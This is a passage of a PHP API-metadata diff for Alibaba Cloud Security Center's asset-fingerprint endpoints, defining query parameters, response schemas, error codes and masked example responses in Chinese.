."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"33A71BE3-2CC2-14CB-B460-33A1DD82953A\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"Status\\": \\"**\\",\\n \\"LastLoginIp\\": \\"192.168.XX.XX\\",\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"LastLoginTime\\": \\"2022-04-04 18:07:06\\",\\n \\"IsRoot\\": \\"0\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"User\\": \\"bin\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"PasswordExpirationDate\\": \\"never\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"LastLoginTimestamp\\": 1649066826000,\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"AccountsExpirationDate\\": \\"never\\",\\n \\"CreateTimestamp\\": 1649149566000,\\n \\"GroupNames\\": [\\n \\"[\\\\\\"bin\\\\\\"]\\"\\n ],\\n \\"LastLoginTimeDt\\": 1649066826000,\\n \\"IsPasswdExpired\\": 1,\\n \\"IsPasswdLocked\\": 1,\\n \\"IsUserExpired\\": 1,\\n \\"IsCouldLogin\\": 0,\\n \\"IsSudoer\\": 0\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 33A71BE3-2CC2-14CB-B460-33A1DD82953A\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 0\\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 192.168.XX.XX\\n 2022-04-04 18:07:06\\n 0\\n 192.168.XX.XX\\n bin\\n i-hp35tftuh52wbp1g****\\n 100.104.XX.XX\\n never\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n 1649066826000\\n hc-host-****\\n never\\n 1649149566000\\n 1649066826000\\n 1\\n 1\\n 1\\n 0\\n 0\\n \\n","errorExample":""}]', + 'title' => '查询服务器的账户资产的指纹信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertyUserItem' => [ + 'summary' => '获取资产的账号信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'ForceFlush', + 'in' => 'query', + 'schema' => [ + 'description' => '设置是否强制刷新待查询数据。取值：'."\n" + .'- **true**：强制刷新'."\n" + .'- **false**：不强制刷新', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'User', + 'in' => 'query', + 'schema' => [ + 'description' => '资产指纹的账号信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'adm', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '76068BE2-F9C4-4EDD-967B-F503B8CCDD3D', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '114', + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'PropertyItems' => [ + 'description' => '账号信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'User' => [ + 'description' => '账号名称。', + 'type' => 'string', + 'example' => 'adm', + ], + 'Count' => [ + 'description' => '账号对应的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '384', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"76068BE2-F9C4-4EDD-967B-F503B8CCDD3D\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 2,\\n \\"TotalCount\\": 114,\\n \\"Count\\": 2\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"User\\": \\"adm\\",\\n \\"Count\\": 384\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n a123456\\n 1\\n \\n \\n aaaa\\n 1\\n \\n \\n aaaa1\\n 1\\n \\n 76068BE2-F9C4-4EDD-967B-F503B8CCDD3D\\n \\n 3\\n 340\\n 3\\n 1\\n \\n","errorExample":""}]', + 'title' => '获取资产的账号信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeModuleConfig' => [ + 'summary' => '查询资产指纹模块设置的信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'Success' => [ + 'description' => '请求是否成功。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Count' => [ + 'description' => '模块设置信息个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ModuleConfigList' => [ + 'description' => '模块设置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '模块设置信息。', + 'type' => 'object', + 'properties' => [ + 'ModuleName' => [ + 'description' => '模块名称。', + 'type' => 'string', + 'example' => 'alihids', + ], + 'ConfigName' => [ + 'description' => '设置的名称。', + 'type' => 'string', + 'example' => 'timescan', + ], + 'Items' => [ + 'description' => '设置项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '设置项。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => 'a47e3713-ed22-4015-93a3-d88ebe6****', + ], + 'GroupId' => [ + 'description' => '服务器分组的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '173', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'inStanceName****', + ], + 'Region' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Ip' => [ + 'description' => '服务器的IP。', + 'type' => 'string', + 'example' => '31.13.XX.XX', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-uf6435dn4t59b9av****', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Success\\": true,\\n \\"Count\\": 2,\\n \\"ModuleConfigList\\": [\\n {\\n \\"ModuleName\\": \\"alihids\\",\\n \\"ConfigName\\": \\"timescan\\",\\n \\"Items\\": [\\n {\\n \\"Uuid\\": \\"a47e3713-ed22-4015-93a3-d88ebe6****\\",\\n \\"GroupId\\": 173,\\n \\"InstanceName\\": \\"inStanceName****\\",\\n \\"Region\\": \\"cn-hangzhou\\",\\n \\"Ip\\": \\"31.13.XX.XX\\",\\n \\"InstanceId\\": \\"i-uf6435dn4t59b9av****\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取资产指纹模块设置信息', + ], + 'DescribePropertyScaDetail' => [ + 'summary' => '查询资产指纹调查页面中间件列表的详细信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Biz', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产指纹的类型，默认值为**sca**。取值：'."\n" + ."\n" + .'- **sca**：中间件'."\n" + .'- **sca_database**：数据库'."\n" + .'- **sca_web**：Web服务'."\n" + ."\n" + .'> 不设置此参数时，默认取值为**sca**，表示查询中间件类型的资产指纹信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'sca', + ], + ], + [ + 'name' => 'SearchItem', + 'in' => 'query', + 'schema' => [ + 'description' => '设置查询条件的类型。取值：'."\n" + .'- **name**：中间件、数据库或Web服务的名称。'."\n" + .'- **type**：中间件、数据库或Web服务的类型。'."\n" + ."\n" + .'> **SearchItem**和**SearchInfo**这两个参数配合使用，通过同时设置这两个参数（设置一个无效），您可以按照资产指纹的名称或类型查看指定名称或类型资产指纹的所有数据。', + 'type' => 'string', + 'required' => false, + 'example' => 'name', + ], + ], + [ + 'name' => 'SearchInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的内容。根据**SearchItem**取值的不同，您需要输入不同的查询内容：'."\n" + .'- **SearchItem**取值为**name**时，您需要输入的查询条件为资产指纹的名称。'."\n" + .'- **SearchItem**取值为**type**时，您需要选择要查询的资产指纹的类型。可选以下取值： '."\n" + .' - **system_service**：系统服务'."\n" + .' - **software_library**：软件库'."\n" + .' - **docker_component**：容器组件'."\n" + .' - **database**：数据库'."\n" + .' - **web_container**：Web容器'."\n" + .' - **jar**：Jar包'."\n" + .' - **web_framework**：Web框架 '."\n" + ."\n" + .'> **SearchItem**和**SearchInfo**这两个参数配合使用，通过同时设置这两个参数（设置一个无效），您可以按照资产指纹的名称或类型查看指定名称或类型资产指纹的所有数据。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'openssl', + ], + ], + [ + 'name' => 'SearchCriteriaList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '搜索条件列表', + 'description' => '搜索条件列表', + 'type' => 'array', + 'items' => [ + 'title' => '搜索条件', + 'description' => '搜索条件', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'title' => '搜索条件名称', + 'description' => '搜索条件名称', + 'type' => 'string', + 'required' => false, + 'example' => 'Name', + ], + 'Value' => [ + 'title' => '搜索条件过滤值', + 'description' => '搜索条件过滤值', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 20, + ], + ], + [ + 'name' => 'ScaName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产指纹的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'openssl', + ], + ], + [ + 'name' => 'BizType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的中间件、数据库或Web服务的类型。取值： '."\n" + .'- **system_service**：系统服务'."\n" + .'- **software_library**：软件库'."\n" + .'- **docker_component**：容器组件'."\n" + .'- **database**：数据库'."\n" + .'- **web_container**：Web容器'."\n" + .'- **jar**：Jar包'."\n" + .'- **web_framework**：Web框架'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'system_service', + ], + ], + [ + 'name' => 'SearchItemSub', + 'in' => 'query', + 'schema' => [ + 'description' => '子查询条件的类型。取值：'."\n" + .'- **port**：端口'."\n" + .'- **pid**：进程ID'."\n" + .'- **version**：版本'."\n" + .'- **user**：用户'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'version', + ], + ], + [ + 'name' => 'SearchInfoSub', + 'in' => 'query', + 'schema' => [ + 'description' => '子查询条件的内容。根据**SearchItemSub**取值的不同，您需要输入不同的查询内容：'."\n" + .'- **SearchItemSub**取值为**port**时，您需要输入的子查询条件为端口。'."\n" + .'- **SearchItemSub**取值为**pid**时，您需要输入的子查询条件为进程ID。'."\n" + .'- **SearchItemSub**取值为**version**时，您需要输入的子查询条件为中间件、数据库或Web服务版本。'."\n" + .'- **SearchItemSub**取值为**user**时，您需要输入的子查询条件为用户名称。'."\n" + ."\n" + .'> 子查询条件可以帮助您搜索具体的中间件、数据库或Web服务的数据列表。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1.0.2k', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '搜索条件（服务器名称或IP）。'."\n" + .'> 支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '中间件、数据库或Web服务的名称。'."\n" + .'> 此参数已废弃，无需关注。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '中间件、数据库或Web服务所在服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'uuid-02ebabe7-1c19-ab****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的资产指纹信息的数量。默认值为**10**，表示每页显示10条资产指纹信息。'."\n" + .'> 建议PageSize取值不要为空。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'ScaVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '中间件、数据库或Web服务版本。', + 'type' => 'string', + 'required' => false, + 'example' => '1.0.2k', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '进程监听端口。', + 'type' => 'string', + 'required' => false, + 'example' => '68', + ], + ], + [ + 'name' => 'User', + 'in' => 'query', + 'schema' => [ + 'description' => '运行用户。', + 'type' => 'string', + 'required' => false, + 'example' => 'root', + ], + ], + [ + 'name' => 'Pid', + 'in' => 'query', + 'schema' => [ + 'description' => '进程ID。', + 'type' => 'string', + 'required' => false, + 'example' => '756', + ], + ], + [ + 'name' => 'ProcessStartedStart', + 'in' => 'query', + 'schema' => [ + 'description' => '进程启动的时间戳查询开始时间，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1641024565', + ], + ], + [ + 'name' => 'ProcessStartedEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '进程启动的时间戳查询结束时间，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1641110965', + ], + ], + [ + 'name' => 'ScaNamePattern', + 'in' => 'query', + 'schema' => [ + 'description' => '进程名。', + 'type' => 'string', + 'required' => false, + 'example' => 'open', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取资产列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式'."\n" + .'- **false**：不使用NextToken方式', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F9146867-16C8-4AAB-BB4FB8C2A4', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的资产指纹信息的数量。默认值为**10**，表示每页显示10条资产指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的资产指纹数据的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B60***', + ], + ], + ], + 'Propertys' => [ + 'description' => '资产指纹的列表详情。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '中间件、数据库或Web服务类型。', + 'type' => 'string', + 'example' => 'library', + ], + 'BizTypeDispaly' => [ + 'description' => '中间件、数据库或Web服务类型的名称。取值：'."\n" + .''."\n" + .'- 系统服务'."\n" + .'- 软件库'."\n" + .'- 容器组件'."\n" + .'- 数据库'."\n" + .'- Web容器'."\n" + .'- Jar包'."\n" + .'- Web框架'."\n" + .''."\n" + .''."\n" + .'- System Service'."\n" + .'- Software Library'."\n" + .'- Docker Component'."\n" + .'- Database'."\n" + .'- Web Container'."\n" + .'- Jar'."\n" + .'- Web Framework'."\n" + .''."\n", + 'type' => 'string', + 'example' => 'System Service', + ], + 'ProcessStarted' => [ + 'description' => '进程启动的时间戳，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1596539788', + ], + 'InternetIp' => [ + 'description' => '中间件、数据库或Web服务所在服务器的公网IP。', + 'type' => 'string', + 'example' => '47.42.XX.XX', + ], + 'ConfigPath' => [ + 'description' => '配置文件路径。', + 'type' => 'string', + 'example' => '/etc/my.cnf', + ], + 'Pid' => [ + 'description' => '进程ID。', + 'type' => 'string', + 'example' => '756', + ], + 'Port' => [ + 'description' => '中间件、数据库或Web服务端口。', + 'type' => 'string', + 'example' => '68', + ], + 'Cmdline' => [ + 'description' => '进程命令行。', + 'type' => 'string', + 'example' => '/sbin/dhclient -H iz2zeflhhbtk8gtxzt087az -1 -q -lf /var/lib/dhclient/dhclient--eth0.lease -pf /var/run/dhclient-eth0.pid eth0', + ], + 'BizType' => [ + 'description' => '中间件、数据库或Web服务的类型。取值：'."\n" + .'- **system_service**：系统服务'."\n" + .'- **software_library**：软件库'."\n" + .'- **docker_component**：容器组件'."\n" + .'- **database**：数据库'."\n" + .'- **web_container**：Web容器'."\n" + .'- **jar**：Jar包'."\n" + .'- **web_framework**：Web框架', + 'type' => 'string', + 'example' => 'software_library', + ], + 'ListenIp' => [ + 'description' => '进程监听IP。', + 'type' => 'string', + 'example' => '0.0.XX.XX', + ], + 'Version' => [ + 'description' => '中间件、数据库或Web服务的版本。', + 'type' => 'string', + 'example' => '1.0.2k', + ], + 'InstanceName' => [ + 'description' => '中间件、数据库或Web服务所在服务器的名称。', + 'type' => 'string', + 'example' => 'Test01', + ], + 'ListenStatus' => [ + 'description' => '进程监听状态。取值：'."\n" + .'- **NONE**：未监听'."\n" + .'- **LISTEN**：监听中', + 'type' => 'string', + 'example' => 'NONE', + ], + 'Name' => [ + 'description' => '中间件、数据库或Web服务的名称。', + 'type' => 'string', + 'example' => 'openssl', + ], + 'Ip' => [ + 'description' => '中间件、数据库或Web服务所在服务器的公网IP。', + 'type' => 'string', + 'example' => '47.42.XX.XX', + ], + 'ProcessUser' => [ + 'description' => '运行进程的用户名。', + 'type' => 'string', + 'example' => 'root', + ], + 'InstanceId' => [ + 'description' => '中间件、数据库或Web服务所在服务器实例ID。', + 'type' => 'string', + 'example' => 'i-2zeclqj7ti****', + ], + 'WebPath' => [ + 'description' => 'Web目录。', + 'type' => 'string', + 'example' => '/usr/share/nginx/html', + ], + 'Ppid' => [ + 'description' => '父进程ID。', + 'type' => 'string', + 'example' => '1', + ], + 'IntranetIp' => [ + 'description' => '中间件、数据库或Web服务所在服务器的私网IP。', + 'type' => 'string', + 'example' => '192.210.XX.XX', + ], + 'Uuid' => [ + 'description' => '中间件、数据库或Web服务所在服务器的UUID。', + 'type' => 'string', + 'example' => 'uuid-02ebabe7-1c19-a****', + ], + 'ListenProtocol' => [ + 'description' => '进程监听协议。取值：'."\n" + .'- **UDP**'."\n" + .'- **TCP**', + 'type' => 'string', + 'example' => 'UDP', + ], + 'ImageName' => [ + 'description' => '镜像名称。', + 'type' => 'string', + 'example' => 'registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****', + ], + 'Path' => [ + 'description' => '中间件、数据库或Web服务的路径。', + 'type' => 'string', + 'example' => '/usr/lib64/libssl.so.1.0.2k', + ], + 'ContainerName' => [ + 'description' => '容器名称。', + 'type' => 'string', + 'example' => '5-rce_web_1', + ], + 'Proof' => [ + 'description' => '中间件、数据库或Web服务的版本验证信息。', + 'type' => 'string', + 'example' => '/usr/lib64/libssl.so.1.0.2k', + ], + 'CreateTimestamp' => [ + 'description' => '最新扫描的时间戳，即云安全中心最近一次采集中间件、数据库或Web服务信息的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1597987834000', + ], + 'RuntimeEnvVersion' => [ + 'description' => '运行时环境版本。'."\n" + .'> 如Java进程运行环境的JDK版本。'."\n", + 'type' => 'string', + 'example' => '1.8.0_144', + ], + 'PodName' => [ + 'description' => '容器组名称。', + 'type' => 'string', + 'example' => 'hello-pod', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F9146867-16C8-4AAB-BB4FB8C2A4\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2,\\n \\"NextToken\\": \\"B60***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"Type\\": \\"library\\",\\n \\"BizTypeDispaly\\": \\"System Service\\",\\n \\"ProcessStarted\\": 1596539788,\\n \\"InternetIp\\": \\"47.42.XX.XX\\",\\n \\"ConfigPath\\": \\"/etc/my.cnf\\",\\n \\"Pid\\": \\"756\\",\\n \\"Port\\": \\"68\\",\\n \\"Cmdline\\": \\"/sbin/dhclient -H iz2zeflhhbtk8gtxzt087az -1 -q -lf /var/lib/dhclient/dhclient--eth0.lease -pf /var/run/dhclient-eth0.pid eth0\\",\\n \\"BizType\\": \\"software_library\\",\\n \\"ListenIp\\": \\"0.0.XX.XX\\",\\n \\"Version\\": \\"1.0.2k\\",\\n \\"InstanceName\\": \\"Test01\\",\\n \\"ListenStatus\\": \\"NONE\\",\\n \\"Name\\": \\"openssl\\",\\n \\"Ip\\": \\"47.42.XX.XX\\",\\n \\"ProcessUser\\": \\"root\\",\\n \\"InstanceId\\": \\"i-2zeclqj7ti****\\",\\n \\"WebPath\\": \\"/usr/share/nginx/html\\",\\n \\"Ppid\\": \\"1\\",\\n \\"IntranetIp\\": \\"192.210.XX.XX\\",\\n \\"Uuid\\": \\"uuid-02ebabe7-1c19-a****\\",\\n \\"ListenProtocol\\": \\"UDP\\",\\n \\"ImageName\\": \\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****\\",\\n \\"Path\\": \\"/usr/lib64/libssl.so.1.0.2k\\",\\n \\"ContainerName\\": \\"5-rce_web_1\\",\\n \\"Proof\\": \\"/usr/lib64/libssl.so.1.0.2k\\",\\n \\"CreateTimestamp\\": 1597987834000,\\n \\"RuntimeEnvVersion\\": \\"1.8.0_144\\",\\n \\"PodName\\": \\"hello-pod\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n F9146867-16C8-4AAB-BB4FB8C2A4\\n \\n 1\\n 20\\n 2\\n 2\\n \\n \\n library\\n 软件库\\n 1596539788\\n 47.42.XX.XX\\n /etc/my.cnf\\n 756\\n 68\\n /sbin/dhclient -H iz2zeflhhbtk8gtxzt087az -1 -q -lf /var/lib/dhclient/dhclient--eth0.lease -pf /var/run/dhclient-eth0.pid eth0\\n software_library\\n 0.0.XX.XX\\n 1.0.2k\\n Test01\\n NONE\\n openssl\\n 2020-08-21T13:30Z\\n 47.42.XX.XX\\n root\\n i-2zeclqj7ti****\\n /usr/share/nginx/html\\n 1\\n 192.210.XX.XX\\n uuid-02ebabe7-1c19-a****\\n UDP\\n registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****\\n /usr/lib64/libssl.so.1.0.2k\\n 5-rce_web_1\\n /usr/lib64/libssl.so.1.0.2k\\n 1597987834000\\n \\n","errorExample":""}]', + 'title' => '查询资产指纹调查中间件列表详细信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyPropertyScheduleConfig' => [ + 'summary' => '修改资产指纹周期性自动采集的频率。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92381', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '待修改自动采集频率的资产指纹的类型。取值：'."\n" + ."\n" + .'- **scheduler\\_port_period**：监听端口'."\n" + .'- **scheduler\\_process_period**：运行进程'."\n" + .'- **scheduler\\_account_period**：账号资产'."\n" + .'- **scheduler\\_software_period**：软件资产'."\n" + .'- **scheduler\\_cron_period**：计划任务'."\n" + .'- **scheduler\\_sca_period**：中间件以及数据库、Web服务'."\n" + .'- **scheduler\\_autorun_period**：启动项'."\n" + .'- **scheduler\\_lkm_period**：内核模块'."\n" + .'- **scheduler\\_sca\\_proxy_period**：Web站点', + 'type' => 'string', + 'required' => true, + 'example' => 'scheduler_port_period', + ], + ], + [ + 'name' => 'ScheduleTime', + 'in' => 'query', + 'schema' => [ + 'description' => '设置资产指纹的采集频率。取值：'."\n" + ."\n" + .'- **0**：关闭，即不进行周期性的资产指纹自动采集'."\n" + .'- **1**：每1小时采集1次'."\n" + .'- **3**：每3小时采集1次'."\n" + .'- **12**：每12小时采集1次'."\n" + .'- **24**：每天采集1次'."\n" + .'- **168**：每7天采集1次'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '3', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'ModifyResult' => [ + 'description' => 